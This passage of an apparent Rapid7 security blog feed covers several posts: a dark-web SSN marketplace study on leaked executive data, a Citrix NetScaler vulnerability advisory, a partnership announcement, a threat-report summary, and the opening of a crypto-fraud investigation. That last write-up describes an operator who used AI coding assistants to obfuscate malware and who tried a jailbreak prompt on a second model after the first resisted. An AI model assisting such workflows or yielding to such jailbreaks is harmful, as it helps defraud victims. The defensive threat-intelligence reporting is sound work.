style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3858d7be6ddf8240/6a9044cac8ced9499c056239/leaked-ssns-by-sector.png" alt="leaked-ssns-by-sector.png" caption="Figure 10 – The sample distribution of leaked SSNs by sector " class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="leaked-ssns-by-sector.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3858d7be6ddf8240/6a9044cac8ced9499c056239/leaked-ssns-by-sector.png" data-sys-asset-uid="blt3858d7be6ddf8240" data-sys-asset-filename="leaked-ssns-by-sector.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10 – The sample distribution of leaked SSNs by sector" data-sys-asset-alt="leaked-ssns-by-sector.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 10 – The sample distribution of leaked SSNs by sector</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>A closer analysis of the roles of targeted personnel reveals that C-suite executives (such as Chief Executive Officers and Chief Financial Officers) make up the largest portion at 44.6%. Presidential positions represent the second-largest segment at 28.6%, while functional management and administrative roles account for 13.9% of the compromised profiles.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>These findings may reflect a natural monitoring bias, since organizations are more likely to prioritize senior personnel whose compromise poses a greater security risk. Even with that caveat, the concentration among senior leadership reinforces why executive identity exposure deserves specific attention.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Compromised executive PII can support targeted phishing, impersonation, and other social engineering campaigns against both the individual and the organization they represent.</span></p><p><span style='font-size: undefined;'></span></p><table><colgroup data-width='1425'><col style="width:25.6140350877193%"/><col style="width:45.05263157894737%"/><col style="width:15.859649122807017%"/><col style="width:13.473684210526315%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'><strong>Role Category</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'><strong>Key Roles Included</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'><strong>Unique Target Count</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'><strong>% of Unique Targets</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Executive Leadership (C-Suite)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>CEO, CFO, COO, CTO, CIO, Chief Revenue/Human Resources Officers</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>176</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>44.6%</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Presidents & Vice Presidents</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>President, SVP, EVP, Regional Vice Presidents</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>113</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>28.6%</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Functional Management & Admin</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Directors, Heads of Departments, Managers, Executive Assistants</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>55</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>13.9%</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Legal, Partner & Advisory</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Managing Members, Partners, Corporate/Securities Attorneys</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>33</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>8.4%</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Board, Governance & Officials</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Board Trustees, Directors of the Board, State Senators, Vice Chairs</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>18</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>4.6%</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Total Unique Individuals</span></p></td><td><p><br/></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>395</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>100.0%</span></p></td></tr></tbody></table><h2>From detection to action: Responding to exposed executive PII</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Because SSNs cannot simply be reset after exposure, organizations need a way to identify compromised executive PII early and determine what action can reduce the resulting risk.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>These alerts are triggered using customer-defined assets, specifically the names of designated VIPs. When a potential match is flagged, Rapid7 analysts conduct preliminary OSINT verification, checking biographical details such as the VIP's date of birth and primary locations, to confirm the listing's accuracy before issuing an alert to the customer.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Once alerted, customers can choose to purchase the exposed SSN record directly through the "Ask-an-Analyst" service using their allocated dark web purchase credits (Figure 11). This capability allows security teams to inspect the full record, verify whether the exposed SSN is genuine, and determine whether additional protective measures are necessary for the affected executive. Furthermore, on platforms like Xilo, purchasing the listing removes the record from the marketplace entirely, actively taking it off the shelf before other threat actors can acquire it.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1fa48534d153c2ed/6a90458f0897905f31efa75d/Rapid7-Platform-alert-leaked-executive-details.png" alt="Rapid7-Platform-alert-leaked-executive-details.png" caption="Figure 11 – Rapid7 Platform alert about the leaked details of a company executive" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Rapid7-Platform-alert-leaked-executive-details.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1fa48534d153c2ed/6a90458f0897905f31efa75d/Rapid7-Platform-alert-leaked-executive-details.png" data-sys-asset-uid="blt1fa48534d153c2ed" data-sys-asset-filename="Rapid7-Platform-alert-leaked-executive-details.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 11 – Rapid7 Platform alert about the leaked details of a company executive" data-sys-asset-alt="Rapid7-Platform-alert-leaked-executive-details.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 11 – Rapid7 Platform alert about the leaked details of a company executive</figcaption></div></figure><h2>Conclusion and strategic defense actions</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The illicit marketplaces examined by Rapid7 show how cheaply and efficiently stolen identity data can now be searched, purchased, and enriched. For executives and other high-profile employees, an exposed SSN can remain useful to threat actors long after the original compromise and may support identity fraud, social engineering, executive impersonation, or business email compromise. Because that information cannot simply be reset, organizations should treat executive identity exposure as an ongoing security risk.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To reduce that risk, executive protection and security teams should consider the following actions:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Monitor executive exposure on the dark web: Use digital risk protection capabilities configured with executive names, known locations, titles, and other relevant identifiers to detect compromised PII across illicit marketplaces and underground channels.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Use removal or takedown options where available: Where supported, work with security providers to acquire or remove exposed identity records before they are purchased and reused by other threat actors.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Reduce executives’ public digital footprint: Review public records, data-broker listings, corporate biographies, and social media profiles to limit unnecessary exposure of information such as dates of birth, home addresses, and phone numbers that can be used to enrich stolen records.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Require out-of-band verification for sensitive requests: Introduce mandatory secondary confirmation for financial transactions, access requests, or administrative changes involving executive accounts to reduce the risk of successful impersonation.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Provide targeted phishing and impersonation training: Give C-suite members, board members, and executive assistants focused guidance on how attackers can combine leaked PII with social engineering to make phishing and impersonation attempts more convincing.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>The persistence of SSNs means the risk does not end when the original breach is discovered. Ongoing monitoring, rapid validation, and stronger verification controls can help organizations identify exposure earlier, reduce the value of stolen identity data, and make it harder for threat actors to turn compromised executive information into a wider attack against the business.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-identity-as-a-service-dark-web-marketplaces-executive-ssn</link>
      <guid isPermaLink="false">bltf2ecc50b5b8de859</guid>
      <category><![CDATA[Dark Web]]></category>
      <category><![CDATA[Phishing]]></category><dc:creator><![CDATA[Alexandra Blia]]></dc:creator>
      <pubDate>Thu, 27 Aug 2026 13:51:55 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt62de3c632e7d1ef7/6984a555a6b5ef052cb93196/Chrysalis-backdoor-blog.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Rapid7 Analysis: Microsoft SharePoint Remote Code Execution (CVE-2026-63520)]]></title>
      <description><![CDATA[]]></description>
      <link>https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-remote-code-execution-cve-2026-63520</link>
      <guid isPermaLink="false">blt5f90657fff716e5d</guid>
      <category><![CDATA[Rapid7 Analysis]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Labs]]></category><dc:creator><![CDATA[Stephen Fewer]]></dc:creator>
      <pubDate>Mon, 24 Aug 2026 16:18:05 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-19490: Critical Vulnerability Affecting Citrix NetScaler ADC and NetScaler Gateway]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On August 19, 2026, a </span><a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'> was published for </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-19490"><span style='font-size: undefined;'>CVE-2026-19490</span></a><span style='font-size: undefined;'>, a critical authentication bypass vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway. The vulnerability carries a CVSS v4.0 base score of 9.3 and can be exploited remotely by an unauthenticated attacker over the network without user interaction or elevated privileges.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>NetScaler ADC and NetScaler Gateway are widely deployed enterprise networking products commonly positioned at or near the network perimeter. NetScaler ADC provides application delivery, traffic management, load balancing, SSL/TLS offloading, and application security capabilities, while NetScaler Gateway provides secure remote access and VPN functionality. Because these systems are frequently deployed in enterprise DMZs and exposed to the public internet, authentication bypass vulnerabilities affecting Citrix products are nearly always exploited by threat actors.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-19490 </span><a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939"><span style='font-size: undefined;'>affects</span></a><span style='font-size: undefined;'> the following systems:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC and NetScaler Gateway 14.1:</strong></span><span style='font-size: undefined;'> Versions prior to 14.1-73.32</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC and NetScaler Gateway 13.1:</strong></span><span style='font-size: undefined;'> Versions prior to 13.1-63.21</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC FIPS:</strong></span><span style='font-size: undefined;'> Versions prior to 14.1-73.32 FIPS</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC FIPS and NDcPP:</strong></span><span style='font-size: undefined;'> Versions prior to 13.1-37.277</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>As of August 19, 2026, Rapid7 has not observed evidence that CVE-2026-19490 is being exploited in the wild. However, organizations should prioritize patching affected systems on an emergency basis, since Citrix products are high-value targets that tend to quickly see exploitation in the wild.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations running affected NetScaler ADC or NetScaler Gateway appliances should review the official NetScaler </span><a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'> and apply the required updates to affected systems on an emergency basis.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Fixed versions for affected products are listed below:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC and NetScaler Gateway</strong></span><span style='font-size: undefined;'> 14.1-73.32 and later releases</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC and NetScaler Gateway</strong></span><span style='font-size: undefined;'> 13.1-63.21 and later releases of 13.1</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC 14.1-FIPS</strong></span><span style='font-size: undefined;'> 14.1-73.32 FIPS and later releases of 14.1-FIPS</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>NetScaler ADC 13.1-FIPS and 13.1-NDcPP</strong></span><span style='font-size: undefined;'> 13.1-37.277 and later releases of 13.1-FIPS and 13.1-NDcPP</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>According to Citrix, customers can determine whether affected systems are vulnerable to CVE-2026-19490 by inspecting their NetScaler configuration for the following configuration entries. If one or more of the following items are present, and if the systems are running affected versions, the system is likely to be exploitable:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>SAML action configuration is in place:</strong></span></p></li><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>"add authentication samlAction.*"</span></p></li></ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Auth or VPN vserver is configured:</strong></span></p></li><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'> "add authentication vserver .*"</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'> "add vpn vserver .*"</span></p></li></ul></ul><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest guidance, please refer to the official </span><a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939"><span style='font-size: undefined;'>Citrix advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;"><span style='color:rgb(24, 26, 27);'>Rapid7 customers</span></h2><h3 style="direction: ltr;">Exposure Command, InsightVM, and Nexpose</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Customers can assess exposure to CVE-2026-19490 on Citrix NetScaler ADC and Gateway using a vulnerability check available in the August 20 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>August 19, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>August 20, 2026:</strong></span><span style='font-size: undefined;'> Updated Rapid7 customers section to reflect availability of vulnerability check.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-19490-critical-vulnerability-affecting-citrix-netscaler-adc-and-netscaler-gateway</link>
      <guid isPermaLink="false">blt0010f65da682ee36</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Labs]]></category>
      <category><![CDATA[Vulnerability Management]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 19 Aug 2026 16:46:06 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Rapid7 and Licencias OnLine Partner to Accelerate Cybersecurity Maturity across Latin America]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'><em>Cássio De Alcântara is Director, LATAM Sales at Rapid7.</em></span></p><p><span style='font-size: undefined;'>Across Latin America, organizations are embracing cloud, AI, and digital transformation to drive innovation and business growth. These technologies create new opportunities, but also introduce greater complexity and expanding attack surfaces.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In this environment, security leaders are being asked to understand where risk exists across increasingly distributed environments and quickly eliminate blind spots like Shadow IT and Shadow AI – all without adding operational complexity.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To help security leaders and practitioners address this complexity, Rapid7 is excited to announce a new strategic distribution partnership with Licencias OnLine (LOL) across Latin America.</span></p><h2 style="direction: ltr;">Helping organizations stay ahead of evolving threats</h2><p style="direction: ltr;"><span style='font-size: undefined;'>In order to keep day-to-day business operations moving, organizations need security solutions that not only protect critical assets but also support innovation, regulatory compliance, and long-term digital transformation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7's AI-powered cybersecurity operations platform helps organizations strengthen cyber resilience by unifying continuous exposure management, AI-driven threat detection and response, and security automation. By connecting security data across endpoint, cloud, identity, and infrastructure environments, organizations leverage one platform to gain the visibility to reduce risk and act with confidence.</span></p><h2 style="direction: ltr;">A shared commitment to partner success</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Success in today’s fragmented cybersecurity environments depends on a strong ecosystem of </span><a href="/partners/" target="_self"><span style='font-size: undefined;'>partners</span></a><span style='font-size: undefined;'> who can help organizations implement, optimize, and maximize the value of unified security operations.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This is where Licencias OnLine comes in. With a strong, well-established presence across Latin America, deep cybersecurity expertise, and a highly specialized channel ecosystem, Licencias OnLine brings the local knowledge, technical enablement, and operational agility needed to help partners grow their cybersecurity practices and deliver greater value to customers.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Together, Rapid7 and Licencias OnLine will invest in technical training, partner enablement, joint marketing initiatives, and go-to-market programs that help partners expand </span><a href="/services/managed-detection-and-response-mdr/" target="_self"><span style='font-size: undefined;'>managed security services</span></a><span style='font-size: undefined;'>, strengthen customer relationships, and accelerate business growth across the region.</span></p><h2 style="direction: ltr;">Building cyber resilience together</h2><p style="direction: ltr;"><span style='font-size: undefined;'>As organizations across Latin America continue to modernize their IT environments, they should have access to security operations that are integrated, intelligent, and designed for today's AI-powered threat landscape.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7's open platform supports this approach through hundreds of technology integrations that help organizations eliminate security silos, improve visibility across their attack surfaces, and automate response workflows. This enables security teams to reduce operational complexity while improving cybersecurity program maturity.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>By combining Rapid7's global cybersecurity innovation with Licencias OnLine's regional expertise and trusted partner network, this new alliance will make it easier for organizations across Latin America to strengthen cyber resilience while enabling partners to see greater success through measurable business outcomes.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We're excited to begin this next chapter together and look forward to supporting our partners as they help customers build stronger, more resilient security operations across the region.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ready to grow with Rapid7? Discover how Rapid7 and Licencias OnLine are </span><a href="/partners/sales-partners/" target="_self"><span style='font-size: undefined;'>helping partners accelerate cybersecurity maturity</span></a><span style='font-size: undefined;'> across Latin America.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/c-licencias-online-partnership-accelerates-latam-cybersecurity-maturity-latin-america</link>
      <guid isPermaLink="false">blt2d73acce368c3eab</guid>
      <category><![CDATA[Cybersecurity]]></category><dc:creator><![CDATA[Cássio De Alcântara]]></dc:creator>
      <pubDate>Wed, 19 Aug 2026 12:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt09a532eac4a02570/6852c5968e72c44b89691ca4/PSN-gov-showcase-hero-image-2.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[New Report: AI threats are here. Why Q2 2026 signals the end of traditional patch cycles]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='color:rgb(34, 34, 34);font-size: undefined;'>You can’t patch everything. So what do you fix first? Findings in Q2 2026 have changed traditional answers.</span></p><p style="direction: ltr;"><span style='color:rgb(34, 34, 34);font-size: undefined;'>The latest </span><a href="/research/report/quarterly-threat-landscape-report" target="_self"><span style='color:rgb(34, 34, 34);font-size: undefined;'>Quarterly Threat Landscape Report</span></a><span style='color:rgb(34, 34, 34);font-size: undefined;'> from Rapid7 Labs shows vulnerability disclosures still surging while attackers use automation and AI-assisted tooling to compress the time between disclosure and exploitation. The gap that patch cycles were built to fill is closing. Speed and volume are overwhelming security teams that have relied on traditional patch cycles and reactive programs. Success going forward can’t be about patching as much as possible -  it has to be about understanding what matters most and reducing the exposures attackers can actually reach.</span></p><p style="direction: ltr;"><span style='color:rgb(34, 34, 34);font-size: undefined;'>Here are the four trends that defined Q2 2026, and what they mean for your security program as you define priorities for Q3 and beyond:</span></p><h2><span style='color:rgb(26, 26, 46);font-size: undefined;'>The volume of disclosures hit another milestone</span></h2><p style="direction: ltr;"><span style='color:rgb(34, 34, 34);font-size: undefined;'>There were 8,539 new high- and critical-severity CVEs (CVSS 7.0–10.0) this quarter- double the number reported in the same quarter last year (4,268). Meanwhile, the number of newly exploited vulnerabilities held roughly steady (40). The takeaway isn’t that exploitation exploded - it’s that disclosure volume is far outstripping what any team can triage.</span></p><blockquote><span style='font-size: undefined;'><em>The report breaks down which of those disclosures are actually reachable and how to triage by exploitability instead of severity score alone.</em></span></blockquote><h2><span style='color:rgb(26, 26, 46);font-size: undefined;'>Initial access keeps getting easier</span></h2><p style="direction: ltr;"><span style='color:rgb(34, 34, 34);font-size: undefined;'>Nearly two-thirds of exploited vulnerabilities this quarter (62%) required no user interaction - no stolen credentials, no phishing victim, no click. Attackers reach and exploit them on their own, and that share is up nine points year over year (from 53% in Q2 2025). Reinforcing the trend, disclosures of missing-authentication flaws (CWE-306) surged 247% year over year - a fast-expanding pool of internet-facing systems that require no login at all.</span></p><blockquote><span style='font-size: undefined;'><em>This is the quarter’s clearest signal - and the report details exactly which exposures to close first, and how, before the exploitation curve catches up.</em></span></blockquote><h2><span style='color:rgb(26, 26, 46);font-size: undefined;'>Nation-state activity remains persistent</span></h2><p style="direction: ltr;"><span style='color:rgb(34, 34, 34);font-size: undefined;'>Rapid7 observed continued activity from Iranian, North Korean, and Russian advanced persistent threat (APT) clusters targeting government, finance, healthcare, manufacturing, energy, and telecommunications. Russian campaigns targeted edge infrastructure; Iranian activity included sustained industrial control system (ICS) and operational technology (OT) targeting.</span></p><blockquote><span style='font-size: undefined;'><em>The report maps the specific techniques and sectors each cluster focused on this quarter.</em></span></blockquote><h2><span style='color:rgb(26, 26, 46);font-size: undefined;'>Ransomware stays concentrated but keeps evolving</span></h2><p style="direction: ltr;"><span style='color:rgb(34, 34, 34);font-size: undefined;'>Qilin led ransomware activity in Q2 with 263 listed victims, and the United States remained the most heavily targeted country - with business services and healthcare among the hardest-hit sectors. Rapid7’s Incident Response team also saw growing use of ClickFix and fake CAPTCHA campaigns, and social engineering through trusted collaboration platforms like Microsoft Teams - techniques that accounted for 31.8% of the incidents we worked.</span></p><blockquote><span style='font-size: undefined;'><em>The report includes the full ransomware leaderboard, the sectors most at risk, and where affiliate activity is expanding next.</em></span></blockquote><h3><span style='color:rgb(26, 26, 46);font-size: undefined;'>Exposure is the real challenge, and the biggest opportunity</span></h3><p style="direction: ltr;"><span style='color:rgb(34, 34, 34);font-size: undefined;'>The volume is daunting, but the real challenge is keeping pace with attackers. As disclosures keep growing, the organizations that stay ahead won’t be the ones patching fastest — they’ll be the ones that know what they expose, which assets matter most, where attackers can realistically get in, and how to reduce reachable exposure before it becomes an incident. That’s what preemptive security means: not a slogan, but an operating model.</span></p><p style="direction: ltr;"><span style='color:rgb(34, 34, 34);font-size: undefined;'>The </span><a href="/research/report/quarterly-threat-landscape-report" target="_self"><span style='color:rgb(34, 34, 34);font-size: undefined;'>full Quarterly Threat Landscape Report</span></a><span style='color:rgb(34, 34, 34);font-size: undefined;'> shows where reachable exposure concentrates this quarter, the four actions Rapid7 Labs recommends, the sector-by-sector breakdown, and the dark-web signals shaping what’s next. </span><a href="/research/report/quarterly-threat-landscape-report" target="_self"><span style='color:rgb(34, 34, 34);font-size: undefined;'>Read it here</span></a><span style='color:rgb(34, 34, 34);font-size: undefined;'> before you pressure-test your Q3 prioritization.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-new-report-ai-threats-q2-2026-ends-traditional-patch-cycles</link>
      <guid isPermaLink="false">blt33c0066fe8595689</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Artificial Intelligence]]></category>
      <category><![CDATA[Ransomware]]></category><dc:creator><![CDATA[Rapid7 Labs]]></dc:creator>
      <pubDate>Tue, 18 Aug 2026 12:49:46 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb0b69c197b694181/6a84573d06e3dd6162fe2309/Q2-threat-landscape-report-social_(1).png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Operation ASTERIX: Anatomy of a Crypto Fraud Pipeline]]></title>
      <description><![CDATA[<h2><span style='font-size: undefined;'>Operation ASTERIX overview</span></h2><p><span style='font-size: undefined;'>Rapid7 researchers identified an exposed web directory on infrastructure used to support a cryptocurrency fraud operation. The server contained raw phone-number datasets, account-validation tools, enriched lead records, phishing panels, voice-dialing scripts, fake wallet applications, persistence mechanisms, and Telegram exfiltration code. Among the artifacts was evidence that the operator relied on AI coding assistants throughout the campaign's development; recovered prompts, shell history, and project files show AI being used to package Electron applications, obfuscate code, troubleshoot builds, modify phishing infrastructure, and prepare malware for distribution. When one model began resisting parts of that workflow, the operator switched providers and attempted to bypass the next model's safety controls with a custom jailbreak prompt. Together, these artifacts provide an unusual view into how AI was integrated into the development of an active phishing operation rather than simply being used to generate isolated snippets of code.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We track this activity as Operation ASTERIX, named after the Asterisk open-source telephony platform recovered on the server. The operator used Asterisk to automate the campaign's vishing infrastructure, coordinating phone calls with phishing emails and counterfeit wallet applications.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The recovered material shows how the operator combined several techniques:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Bulk account enumeration against cryptocurrency platforms</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Phishing emails that created fake support cases</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Vishing calls that referenced details from those emails</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Counterfeit Ledger, Trezor, and Exodus applications</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Seed-phrase theft and Telegram exfiltration</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>AI-assisted development, including an attempt to bypass an LLM’s safety controls</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Much of the value around this finding is timing. Much of the infrastructure was still in use or under development when it was exposed. This allowed Rapid7 Labs to notify the appropriate providers and authorities while the operation was still active, while also documenting the campaign's tooling and development process.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 Labs disclosed the identified infrastructure and findings to the relevant authorities, including Apple's security team, and collaborated with them to support action against the activity described in this report.</span></p><h2><span style='font-size: undefined;'>Technical analysis and</span><span style='font-size: undefined;'><em> </em></span><span style='font-size: undefined;'>observed attacker behavior</span></h2><p><span style='font-size: undefined;'>The recovered files show a multi-stage operation designed to focus social engineering on confirmed cryptocurrency users. The attacker used account-checking tools to confirm which phone numbers were tied to active crypto exchange accounts, narrowing a raw dataset down to confirmed holders. From there, the recovered infrastructure supported multiple outreach channels. The phishing panels generated fake support cases and verification codes that were later referenced during phone calls, while files such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>extract_sg_numbers.py</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>sg_leads_server.py</span></span><span style='font-size: undefined;'> suggest additional lead-management and direct-outreach capabilities. Although call logs were not recovered to reconstruct every interaction, the recovered artifacts indicate that these channels ultimately directed victims toward counterfeit wallet applications designed to steal recovery phrases. </span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt43681f33d6dc5b5e/6a822ce2b966e10601641316/Operation-ASTERIX-kill-chain.jpg" height="1594" alt="Operation-ASTERIX-kill-chain.jpg" caption="Figure 1: Operation ASTERIX kill chain from acquisition to exfiltration" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Operation-ASTERIX-kill-chain.jpg" width="1559" style="width: 1559px; height: 1594px" 